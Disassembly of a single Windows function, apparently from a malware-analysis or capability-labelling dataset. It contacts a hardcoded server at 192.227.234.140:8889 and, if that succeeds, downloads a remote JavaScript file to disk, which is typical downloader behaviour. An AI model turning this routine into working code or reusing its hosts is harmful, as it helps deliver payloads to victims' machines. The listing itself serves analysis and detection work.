Function at 0x140001070
Capabilities:
Check http status code
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
push rdi
mov eax, 0x1060
call fcn.140002000
sub rsp, rax
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x1050], rax
xor ebp, ebp
lea rcx, str.HTTP_Request
xor r9d, r9d
mov dword [rsp + 0x20], ebp
xor r8d, r8d
lea edx, [rbp + 1]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rdi, rax
test rax, rax
jne 0x1400010cd
lea rcx, str.InternetOpen_failed_n
call fcn.140001010
lea eax, [rbp + 1]
jmp 0x1400012b1
mov qword [rsp + 0x28], rbp
lea rdx, str.http:__192.227.234.140:8889_index
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov qword [rsp + 0x1070], rbx
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
jne 0x14000111d
lea rcx, str.InternetOpenUrlA_failed_n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea eax, [rbx + 1]
jmp 0x1400012a9
lea r9, [rsp + 0x44]
mov qword [rsp + 0x1078], rsi
lea r8, [rsp + 0x48]
mov dword [rsp + 0x44], 4
mov edx, 0x20000013
mov qword [rsp + 0x20], rbp
mov rcx, rbx
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
mov r8d, dword [rsp + 0x48]
cmp r8d, 0xc8
jne 0x14000127a
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], rbp
xor r8d, r8d
mov dword [rsp + 0x20], 0x80000000
lea rdx, str.http:__jd_dong.com_i.js
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
jne 0x1400011ad
lea rcx, str.InternetOpenUrlA_failed_n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea eax, [rbx + 1]
jmp 0x1400012a1
mov qword [rsp + 0x30], rbp
lea rcx, str.downloaded_file.js
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001209
lea rcx, str.Error_creating_file_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea eax, [rsi + 2]
jmp 0x1400012a1
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001263
mov r8d, dword [rsp + 0x40]
test r8d, r8d
je 0x140001263
xor r9d, r9d
mov qword [rsp + 0x20], rbp
lea rdx, [rsp + 0x50]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001226
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.File_downloaded_successfully._n
call fcn.140001010
jmp 0x14000128d
lea rdx, str.http:__192.227.234.140:8889_index
lea rcx, str.Request_to__s_failed_with_status_code:__d_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
mov rsi, qword [rsp + 0x1078]
mov rbx, qword [rsp + 0x1070]
mov rcx, qword [rsp + 0x1050]
xor rcx, rsp
call fcn.1400012f0
mov rbp, qword [rsp + 0x1080]
add rsp, 0x1060
pop rdi
ret